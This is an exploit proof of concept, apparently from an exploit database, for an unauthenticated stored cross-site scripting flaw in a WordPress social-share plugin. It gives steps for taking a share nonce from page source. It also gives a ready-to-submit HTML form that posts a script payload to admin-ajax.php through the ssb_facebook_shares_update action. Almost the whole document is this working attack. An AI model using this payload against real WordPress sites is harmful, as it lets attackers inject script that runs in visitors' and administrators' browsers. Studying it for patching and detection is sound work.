## https://sploitus.com/exploit?id=WPEX-ID:EEE0C2C6-21D0-4235-8E73-297C3875EB0A
As an unauthenticated user, go to a page where the Facebook share is active, view the source to get the fb_share_nonce.
Replace the value of the security parameter below by the nonce retreived, as well as the URL of the domain, open the file with a web browser and click on Submit.
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="ssb_facebook_shares_update" />
<input type="hidden" name="security" value="[NONCE]" />
<input type="hidden" name="share_counts" value='<script>alert(/XSS/)</script>' />
<input type="hidden" name="post_id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>